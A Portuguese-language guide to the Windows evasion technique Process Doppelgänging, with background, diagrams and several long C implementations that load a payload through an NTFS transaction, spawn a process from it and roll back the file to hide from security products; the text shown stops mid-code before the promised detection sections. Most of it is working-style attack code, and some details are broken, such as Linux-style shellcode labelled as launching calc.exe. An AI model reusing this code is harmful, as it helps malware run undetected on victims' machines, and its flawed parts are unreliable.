# Process Doppelganging

## 📑 **Índice**

1. [Fundamentos do Process Doppelgänging](#-fundamentos-do-process-doppelgänging)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Implementação em C/C++](#-implementação-em-cc)
5. [Implementação em C#/.NET](#-implementação-em-cnet)
6. [Implementação em Python](#-implementação-em-python)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## 🔍 **Fundamentos do Process Doppelgänging**

### **O que é Process Doppelgänging?**

Process Doppelgänging é uma técnica avançada de evasão de segurança que explora o mecanismo de transações NTFS (NTFS Transactions) do Windows para criar um processo malicioso que parece ser um executável legítimo. A técnica foi descoberta por pesquisadores da enSilo em 2017 e é considerada uma evolução do Process Hollowing, com a vantagem de deixar menos artefatos no sistema.

### **Origem do Nome**

O termo "Doppelgänging" vem do alemão "Doppelgänger", que significa "duplo" ou "sósia". A técnica cria um processo que é uma "cópia" disfarçada de um processo legítimo, enganando mecanismos de segurança que confiam na integridade do arquivo original.

### **Contexto Histórico**

```yaml
Evolução do Process Doppelgänging:
  2017: Descoberta por pesquisadores da enSilo
  2017: Apresentado na Black Hat USA
  2018: Adoção por APT groups (Turla, APT28)
  2019: Implementação em frameworks C2 (Cobalt Strike)
  2020: Popularização em malwares como Zloader
  2021: Mitigações parciais da Microsoft
  2022: Técnicas de bypass adicionais
  2023: Ainda ativo em sistemas sem patches
```

### **Princípio Básico**

```mermaid
graph TD
    A[Atacante] --> B[Cria transação NTFS]
    B --> C[Cria arquivo temporário na transação]
    C --> D[Escreve payload no arquivo]
    D --> E[Cria seção de imagem a partir do arquivo]
    E --> F[Cria processo a partir da seção]
    F --> G[Rollback da transação]
    G --> H[Processo malicioso executando]
    H --> I[Arquivo original intacto]
```

### **Comparação com Process Hollowing**

| Técnica                   | Arquivo no Disco    | Detecção | Artefatos |
| ------------------------- | ------------------- | -------- | --------- |
| **Process Hollowing**     | Original preservado | Média    | Moderados |
| **Process Doppelgänging** | Original intacto    | Baixa    | Mínimos   |
| **Process Herpaderping**  | Original modificado | Média    | Moderados |
| **AtomBombing**           | Sem arquivo         | Baixa    | Mínimos   |

***

## 🏗️ **Arquitetura e Mecanismos**

### **Componentes Chave do Windows**

```c
// APIs utilizadas no Process Doppelgänging
CreateTransaction();           // Criar transação NTFS
CreateFileTransacted();        // Criar arquivo dentro da transação
WriteFile();                   // Escrever payload
CreateFileMapping();           // Criar mapeamento de arquivo
MapViewOfFile();               // Mapear para memória
NtCreateProcess();             // Criar processo a partir da seção
RollbackTransaction();         // Desfazer transação
```

### **Fluxo de Execução Detalhado**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant T as NTFS Transaction
    participant F as Sistema de Arquivos
    participant P as Processo
    participant E as EDR

    A->>T: CreateTransaction()
    T-->>A: Handle da transação
    
    A->>F: CreateFileTransacted(T, "temp.exe")
    F-->>A: Handle do arquivo temporário
    
    A->>F: WriteFile(payload)
    A->>F: SetEndOfFile()
    
    A->>F: CreateFileMapping(arquivo)
    F-->>A: Handle da seção
    
    A->>F: MapViewOfFile(seção)
    F-->>A: View da memória
    
    A->>P: NtCreateProcess(seção)
    P-->>A: Processo criado
    
    A->>F: RollbackTransaction()
    F-->>A: Transação revertida
    
    Note over P,E: Processo executando<br/>Arquivo original intacto<br/>Sem artefatos no disco
```

### **Estruturas do Kernel**

```c
// Estrutura da seção de imagem
typedef struct _SECTION_IMAGE_INFORMATION {
    PVOID TransferAddress;
    ULONG ZeroBits;
    SIZE_T MaximumStackSize;
    SIZE_T CommittedStackSize;
    ULONG SubSystemType;
    WORD SubSystemMinorVersion;
    WORD SubSystemMajorVersion;
    ULONG GpValue;
    USHORT ImageCharacteristics;
    USHORT DllCharacteristics;
    USHORT Machine;
    BOOLEAN ImageContainsCode;
    BOOLEAN ImageFlags;
    ULONG LoaderFlags;
    ULONG ImageFileSize;
    ULONG CheckSum;
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Process Doppelgänging Básico**

```c
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

// Definições necessárias
typedef NTSTATUS (NTAPI* pNtCreateProcessEx)(
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ParentProcess,
    ULONG Flags,
    HANDLE SectionHandle,
    HANDLE DebugPort,
    HANDLE ExceptionPort,
    ULONG_PTR Unknown
);

typedef NTSTATUS (NTAPI* pRtlCreateProcessParametersEx)(
    PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
    PUNICODE_STRING ImagePathName,
    PUNICODE_STRING DllPath,
    PUNICODE_STRING CurrentDirectory,
    PUNICODE_STRING CommandLine,
    PVOID Environment,
    PUNICODE_STRING WindowTitle,
    PUNICODE_STRING DesktopInfo,
    PUNICODE_STRING ShellInfo,
    PUNICODE_STRING RuntimeData,
    ULONG Flags
);

// Payload (calc.exe shellcode)
unsigned char payload[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

DWORD payloadSize = sizeof(payload);

BOOL ProcessDoppelganging(LPCWSTR targetPath) {
    HANDLE hTransaction = NULL;
    HANDLE hTempFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    NTSTATUS status;
    
    // 1. Criar transação
    hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
    if (hTransaction == INVALID_HANDLE_VALUE) {
        printf("[-] CreateTransaction failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Transaction created\n");
    
    // 2. Criar arquivo dentro da transação
    WCHAR tempPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    wcscat(tempPath, L"temp.tmp");
    
    hTempFile = CreateFileTransactedW(tempPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,
        NULL,
        NULL);
    
    if (hTempFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFileTransacted failed: %lu\n", GetLastError());
        CloseHandle(hTransaction);
        return FALSE;
    }
    printf("[+] Temp file created\n");
    
    // 3. Escrever payload
    DWORD bytesWritten;
    WriteFile(hTempFile, payload, payloadSize, &bytesWritten, NULL);
    SetEndOfFile(hTempFile);
    printf("[+] Payload written\n");
    
    // 4. Criar seção a partir do arquivo
    hSection = CreateFileMapping(hTempFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!hSection) {
        printf("[-] CreateFileMapping failed: %lu\n", GetLastError());
        CloseHandle(hTempFile);
        CloseHandle(hTransaction);
        return FALSE;
    }
    printf("[+] Section created\n");
    
    // 5. Fechar arquivo temporário (ainda na transação)
    CloseHandle(hTempFile);
    
    // 6. Criar processo a partir da seção
    status = NtCreateProcess(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
                              0, hSection, NULL, NULL, NULL);
    
    if (status != 0) {
        printf("[-] NtCreateProcess failed: 0x%08X\n", status);
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        return FALSE;
    }
    printf("[+] Process created\n");
    
    // 7. Configurar parâmetros do processo
    // (RtlCreateProcessParametersEx e configuração do PEB)
    
    // 8. Rollback da transação (arquivo original não é modificado)
    RollbackTransaction(hTransaction);
    printf("[+] Transaction rolled back\n");
    
    // 9. Criar thread principal
    CONTEXT ctx = { CONTEXT_FULL };
    ctx.Rcx = (DWORD_PTR)payload;
    // Configurar contexto e iniciar thread
    
    CloseHandle(hSection);
    CloseHandle(hTransaction);
    CloseHandle(hProcess);
    
    return TRUE;
}
```

### **2. Process Doppelgänging Completo**

```c
// process_doppelganging_full.c
// Implementação completa com parâmetros do processo

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <tlhelp32.h>

// Estruturas NT
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
    UNICODE_STRING CurrentDirectoryPath;
    HANDLE CurrentDirectoryHandle;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectories[32];
    ULONG EnvironmentSize;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    BOOLEAN Spare;
    HANDLE Mutant;
    PVOID ImageBaseAddress;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    // ... mais campos
} PEB, *PPEB;

typedef NTSTATUS (NTAPI* pNtCreateProcessEx)(
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ParentProcess,
    ULONG Flags,
    HANDLE SectionHandle,
    HANDLE DebugPort,
    HANDLE ExceptionPort,
    ULONG_PTR Unknown
);

typedef NTSTATUS (NTAPI* pNtCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PVOID AttributeList
);

typedef NTSTATUS (NTAPI* pRtlCreateProcessParametersEx)(
    PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
    PUNICODE_STRING ImagePathName,
    PUNICODE_STRING DllPath,
    PUNICODE_STRING CurrentDirectory,
    PUNICODE_STRING CommandLine,
    PVOID Environment,
    PUNICODE_STRING WindowTitle,
    PUNICODE_STRING DesktopInfo,
    PUNICODE_STRING ShellInfo,
    PUNICODE_STRING RuntimeData,
    ULONG Flags
);

typedef NTSTATUS (NTAPI* pRtlDestroyProcessParameters)(
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters
);

typedef VOID (NTAPI* pRtlUserThreadStart)(
    PVOID StartRoutine,
    PVOID Argument
);

// Obter endereço de entrada do payload
DWORD_PTR GetEntryPoint(LPVOID payloadBase) {
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)payloadBase;
    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)payloadBase + dosHeader->e_lfanew);
    return (DWORD_PTR)payloadBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
}

// Process Doppelgänging completo
BOOL ProcessDoppelgangingFull(LPCWSTR targetExe, LPCWSTR targetPath, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hTransaction = NULL;
    HANDLE hTempFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    PVOID pImageBase = NULL;
    PRTL_USER_PROCESS_PARAMETERS pParams = NULL;
    UNICODE_STRING imagePath;
    UNICODE_STRING commandLine;
    NTSTATUS status;
    
    // Carregar ntdll
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtCreateProcessEx NtCreateProcessEx = (pNtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
    pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    pRtlCreateProcessParametersEx RtlCreateProcessParametersEx = (pRtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
    pRtlDestroyProcessParameters RtlDestroyProcessParameters = (pRtlDestroyProcessParameters)GetProcAddress(hNtdll, "RtlDestroyProcessParameters");
    
    if (!NtCreateProcessEx || !NtCreateThreadEx || !RtlCreateProcessParametersEx) {
        printf("[-] Failed to get NTDLL functions\n");
        return FALSE;
    }
    
    // 1. Criar transação
    hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
    if (hTransaction == INVALID_HANDLE_VALUE) {
        printf("[-] CreateTransaction failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Transaction created\n");
    
    // 2. Criar arquivo temporário
    WCHAR tempPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    wcscat(tempPath, L"temp_XXXXXX.tmp");
    
    // Gerar nome único
    GetTempFileNameW(tempPath, L"tmp", 0, tempPath);
    
    hTempFile = CreateFileTransactedW(tempPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,
        NULL,
        NULL);
    
    if (hTempFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFileTransacted failed: %lu\n", GetLastError());
        CloseHandle(hTransaction);
        return FALSE;
    }
    printf("[+] Temp file: %S\n", tempPath);
    
    // 3. Escrever payload
    DWORD bytesWritten;
    WriteFile(hTempFile, payload, payloadSize, &bytesWritten, NULL);
    SetEndOfFile(hTempFile);
    printf("[+] Payload written (%lu bytes)\n", bytesWritten);
    
    // 4. Criar seção
    hSection = CreateFileMapping(hTempFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!hSection) {
        printf("[-] CreateFileMapping failed: %lu\n", GetLastError());
        CloseHandle(hTempFile);
        CloseHandle(hTransaction);
        return FALSE;
    }
    printf("[+] Section created\n");
    
    CloseHandle(hTempFile);
    
    // 5. Mapear seção para obter informações
    pImageBase = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
    if (!pImageBase) {
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        return FALSE;
    }
    
    // 6. Criar processo
    status = NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
                                0, hSection, NULL, NULL, 0);
    
    if (status != 0) {
        printf("[-] NtCreateProcessEx failed: 0x%08X\n", status);
        UnmapViewOfFile(pImageBase);
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        return FALSE;
    }
    printf("[+] Process created\n");
    
    // 7. Configurar parâmetros do processo
    RtlInitUnicodeString(&imagePath, targetPath);
    RtlInitUnicodeString(&commandLine, targetExe);
    
    status = RtlCreateProcessParametersEx(&pParams, &imagePath, NULL, NULL,
                                           &commandLine, NULL, NULL, NULL,
                                           NULL, NULL, 0);
    
    if (status != 0) {
        printf("[-] RtlCreateProcessParametersEx failed\n");
        NtTerminateProcess(hProcess, 0);
        UnmapViewOfFile(pImageBase);
        CloseHandle(hProcess);
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        return FALSE;
    }
    
    // 8. Atualizar PEB do processo
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    
    if (pbi.PebBaseAddress) {
        PPEB peb = (PPEB)pbi.PebBaseAddress;
        peb->ProcessParameters = pParams;
        peb->ImageBaseAddress = pImageBase;
    }
    
    // 9. Criar thread principal
    DWORD_PTR entryPoint = GetEntryPoint(pImageBase);
    
    status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
                               (LPTHREAD_START_ROUTINE)entryPoint, NULL,
                               0, 0, 0, 0, NULL);
    
    if (status != 0) {
        printf("[-] NtCreateThreadEx failed: 0x%08X\n", status);
        NtTerminateProcess(hProcess, 0);
        RtlDestroyProcessParameters(pParams);
        UnmapViewOfFile(pImageBase);
        CloseHandle(hProcess);
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        return FALSE;
    }
    printf("[+] Main thread created\n");
    
    // 10. Rollback da transação
    RollbackTransaction(hTransaction);
    printf("[+] Transaction rolled back (no disk artifacts)\n");
    
    // 11. Limpeza
    CloseHandle(hThread);
    CloseHandle(hProcess);
    CloseHandle(hSection);
    CloseHandle(hTransaction);
    UnmapViewOfFile(pImageBase);
    
    return TRUE;
}
```

### **3. Process Doppelgänging com ResumeThread**

```c
// Criar processo em estado suspenso e retomar
BOOL ProcessDoppelgangingSuspended(LPCWSTR targetPath, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hTransaction = NULL;
    HANDLE hTempFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    NTSTATUS status;
    
    // Criar transação
    hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
    if (hTransaction == INVALID_HANDLE_VALUE) return FALSE;
    
    // Criar arquivo temporário
    WCHAR tempPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    wcscat(tempPath, L"temp.tmp");
    
    hTempFile = CreateFileTransactedW(tempPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,
        NULL,
        NULL);
    
    if (hTempFile == INVALID_HANDLE_VALUE) {
        CloseHandle(hTransaction);
        return FALSE;
    }
    
    // Escrever payload
    DWORD bytesWritten;
    WriteFile(hTempFile, payload, payloadSize, &bytesWritten, NULL);
    SetEndOfFile(hTempFile);
    
    // Criar seção
    hSection = CreateFileMapping(hTempFile, NULL, PAGE_READONLY, 0, 0, NULL);
    CloseHandle(hTempFile);
    
    if (!hSection) {
        CloseHandle(hTransaction);
        return FALSE;
    }
    
    // Criar processo suspenso
    status = NtCreateProcess(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
                              0, hSection, NULL, NULL, NULL);
    
    if (status != 0) {
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        return FALSE;
    }
    
    // Configurar parâmetros e PEB
    // ... (similar ao exemplo anterior)
    
    // Rollback da transação
    RollbackTransaction(hTransaction);
    
    // Criar thread suspensa
    status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
                               (LPTHREAD_START_ROUTINE)entryPoint, NULL,
                               0x4, 0, 0, 0, NULL); // CREATE_SUSPENDED
    
    if (status != 0) {
        NtTerminateProcess(hProcess, 0);
        CloseHandle(hProcess);
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        return FALSE;
    }
    
    // Opcional: modificar contexto antes de retomar
    ResumeThread(hThread);
    
    CloseHandle(hThread);
    CloseHandle(hProcess);
    CloseHandle(hSection);
    CloseHandle(hTransaction);
    
    return TRUE;
}
```

### **4. Process Doppelgänging com Herpaderping**

```c
// Combinar com Process Herpaderping para maior evasão
BOOL ProcessHerpaderping(LPCWSTR targetExe, unsigned char* payload, SIZE_T payloadSize) {
    // Criar processo suspenso
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    
    CreateProcessW(targetExe, NULL, NULL, NULL, FALSE,
                   CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    
    // Substituir código
    CONTEXT ctx = { CONTEXT_FULL };
    GetThreadContext(pi.hThread, &ctx);
    
    // Alocar e escrever payload
    LPVOID remoteMem = VirtualAllocEx(pi.hProcess, NULL, payloadSize,
                                      MEM_COMMIT | MEM_RESERVE,
                                      PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, remoteMem, payload, payloadSize, NULL);
    
    // Modificar contexto para apontar para o payload
    ctx.Rcx = (DWORD_PTR)remoteMem;
    SetThreadContext(pi.hThread, &ctx);
    
    // Modificar arquivo original antes de retomar
    HANDLE hFile = CreateFileW(targetExe, GENERIC_WRITE, 0, NULL,
                               OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE) {
        // Sobrescrever com dados aleatórios
        WriteFile(hFile, "AAAA", 4, NULL, NULL);
        CloseHandle(hFile);
    }
    
    // Retomar thread
    ResumeThread(pi.hThread);
    
    // Restaurar arquivo original
    hFile = CreateFileW(targetExe, GENERIC_WRITE, 0, NULL,
                        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile != INVALID_HANDLE_VALUE) {
        // Restaurar conteúdo original
        // ...
        CloseHandle(hFile);
    }
    
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    
    return TRUE;
}
```

***

## 🔧 **Implementação em C/C++**

### **Process Doppelgänging Full Implementation**

```c
// process_doppelganging_advanced.c
// Implementação completa com tratamento de erros

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "advapi32.lib")

// Estruturas e definições
typedef struct _PROCESS_DOPPELGANGING_CONTEXT {
    HANDLE hTransaction;
    HANDLE hTempFile;
    HANDLE hSection;
    HANDLE hProcess;
    HANDLE hThread;
    PVOID pImageBase;
    PRTL_USER_PROCESS_PARAMETERS pParams;
    WCHAR tempPath[MAX_PATH];
} PROCESS_DOPPELGANGING_CONTEXT, *PPROCESS_DOPPELGANGING_CONTEXT;

// Função para verificar suporte a transações NTFS
BOOL IsNtfsTransactionSupported(LPCWSTR path) {
    WCHAR rootPath[4] = {0};
    wcsncpy(rootPath, path, 3);
    rootPath[2] = L'\\';
    
    DWORD fsFlags;
    if (GetVolumeInformationW(rootPath, NULL, 0, NULL, NULL, &fsFlags, NULL, 0)) {
        return (fsFlags & FILE_SUPPORTS_TRANSACTIONS) != 0;
    }
    return FALSE;
}

// Função para criar transação
BOOL CreateNtfsTransaction(PPROCESS_DOPPELGANGING_CONTEXT ctx) {
    ctx->hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
    if (ctx->hTransaction == INVALID_HANDLE_VALUE) {
        printf("[-] CreateTransaction failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Transaction created\n");
    return TRUE;
}

// Função para criar arquivo temporário
BOOL CreateTempFile(PPROCESS_DOPPELGANGING_CONTEXT ctx) {
    GetTempPathW(MAX_PATH, ctx->tempPath);
    GetTempFileNameW(ctx->tempPath, L"tmp", 0, ctx->tempPath);
    
    ctx->hTempFile = CreateFileTransactedW(ctx->tempPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        ctx->hTransaction,
        NULL,
        NULL);
    
    if (ctx->hTempFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFileTransacted failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Temp file created: %S\n", ctx->tempPath);
    return TRUE;
}

// Função para escrever payload
BOOL WritePayload(PPROCESS_DOPPELGANGING_CONTEXT ctx, unsigned char* payload, SIZE_T payloadSize) {
    DWORD bytesWritten;
    if (!WriteFile(ctx->hTempFile, payload, payloadSize, &bytesWritten, NULL)) {
        printf("[-] WriteFile failed: %lu\n", GetLastError());
        return FALSE;
    }
    
    if (!SetEndOfFile(ctx->hTempFile)) {
        printf("[-] SetEndOfFile failed: %lu\n", GetLastError());
        return FALSE;
    }
    
    printf("[+] Payload written (%lu bytes)\n", bytesWritten);
    return TRUE;
}

// Função para criar seção
BOOL CreateImageSection(PPROCESS_DOPPELGANGING_CONTEXT ctx) {
    ctx->hSection = CreateFileMapping(ctx->hTempFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!ctx->hSection) {
        printf("[-] CreateFileMapping failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Section created\n");
    return TRUE;
}

// Função para criar processo
BOOL CreateProcessFromSection(PPROCESS_DOPPELGANGING_CONTEXT ctx) {
    NTSTATUS status = NtCreateProcess(&ctx->hProcess, PROCESS_ALL_ACCESS, NULL,
                                       GetCurrentProcess(), 0, ctx->hSection,
                                       NULL, NULL, NULL);
    
    if (status != 0) {
        printf("[-] NtCreateProcess failed: 0x%08X\n", status);
        return FALSE;
    }
    printf("[+] Process created\n");
    return TRUE;
}

// Função para configurar parâmetros do processo
BOOL ConfigureProcessParameters(PPROCESS_DOPPELGANGING_CONTEXT ctx, LPCWSTR targetExe) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pRtlCreateProcessParametersEx RtlCreateProcessParametersEx = 
        (pRtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
    
    UNICODE_STRING imagePath;
    UNICODE_STRING commandLine;
    
    RtlInitUnicodeString(&imagePath, targetExe);
    RtlInitUnicodeString(&commandLine, targetExe);
    
    NTSTATUS status = RtlCreateProcessParametersEx(&ctx->pParams, &imagePath, NULL, NULL,
                                                    &commandLine, NULL, NULL, NULL,
                                                    NULL, NULL, 0);
    
    if (status != 0) {
        printf("[-] RtlCreateProcessParametersEx failed: 0x%08X\n", status);
        return FALSE;
    }
    
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(ctx->hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    
    if (pbi.PebBaseAddress) {
        PPEB peb = (PPEB)pbi.PebBaseAddress;
        peb->ProcessParameters = ctx->pParams;
        
        // Mapear seção para obter ImageBase
        ctx->pImageBase = MapViewOfFile(ctx->hSection, FILE_MAP_READ, 0, 0, 0);
        if (ctx->pImageBase) {
            peb->ImageBaseAddress = ctx->pImageBase;
        }
    }
    
    printf("[+] Process parameters configured\n");
    return TRUE;
}

// Função para obter entry point
DWORD_PTR GetEntryPointFromSection(PVOID pImageBase) {
    if (!pImageBase) return 0;
    
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)pImageBase;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
    
    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)pImageBase + dosHeader->e_lfanew);
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return 0;
    
    return (DWORD_PTR)pImageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
}

// Função para criar thread principal
BOOL CreateMainThread(PPROCESS_DOPPELGANGING_CONTEXT ctx) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    
    DWORD_PTR entryPoint = GetEntryPointFromSection(ctx->pImageBase);
    if (!entryPoint) {
        printf("[-] Failed to get entry point\n");
        return FALSE;
    }
    
    NTSTATUS status = NtCreateThreadEx(&ctx->hThread, THREAD_ALL_ACCESS, NULL,
                                        ctx->hProcess, (LPTHREAD_START_ROUTINE)entryPoint,
                                        NULL, 0, 0, 0, 0, NULL);
    
    if (status != 0) {
        printf("[-] NtCreateThreadEx failed: 0x%08X\n", status);
        return FALSE;
    }
    
    printf("[+] Main thread created at entry point 0x%p\n", (PVOID)entryPoint);
    return TRUE;
}

// Função para realizar rollback
BOOL RollbackTransaction(PPROCESS_DOPPELGANGING_CONTEXT ctx) {
    if (!RollbackTransaction(ctx->hTransaction)) {
        printf("[-] RollbackTransaction failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Transaction rolled back (no disk artifacts)\n");
    return TRUE;
}

// Função principal de injeção
BOOL ProcessDoppelganging(LPCWSTR targetExe, unsigned char* payload, SIZE_T payloadSize) {
    PROCESS_DOPPELGANGING_CONTEXT ctx = {0};
    BOOL success = FALSE;
    
    printf("[*] Process Doppelgänging starting\n");
    printf("[*] Target executable: %S\n", targetExe);
    
    // Verificar suporte a transações
    if (!IsNtfsTransactionSupported(L"C:\\")) {
        printf("[-] NTFS Transactions not supported\n");
        return FALSE;
    }
    
    // Criar transação
    if (!CreateNtfsTransaction(&ctx)) goto cleanup;
    
    // Criar arquivo temporário
    if (!CreateTempFile(&ctx)) goto cleanup;
    
    // Escrever payload
    if (!WritePayload(&ctx, payload, payloadSize)) goto cleanup;
    
    // Fechar arquivo temporário
    CloseHandle(ctx.hTempFile);
    ctx.hTempFile = INVALID_HANDLE_VALUE;
    
    // Criar seção
    if (!CreateImageSection(&ctx)) goto cleanup;
    
    // Criar processo
    if (!CreateProcessFromSection(&ctx)) goto cleanup;
    
    // Configurar parâmetros
    if (!ConfigureProcessParameters(&ctx, targetExe)) goto cleanup;
    
    // Criar thread principal
    if (!CreateMainThread(&ctx)) goto cleanup;
    
    // Realizar rollback
    if (!RollbackTransaction(&ctx)) goto cleanup;
    
    success = TRUE;
    printf("[+] Process Doppelgänging successful!\n");
    
cleanup:
    // Limpeza
    if (ctx.hThread) CloseHandle(ctx.hThread);
    if (ctx.hProcess) CloseHandle(ctx.hProcess);
    if (ctx.pImageBase) UnmapViewOfFile(ctx.pImageBase);
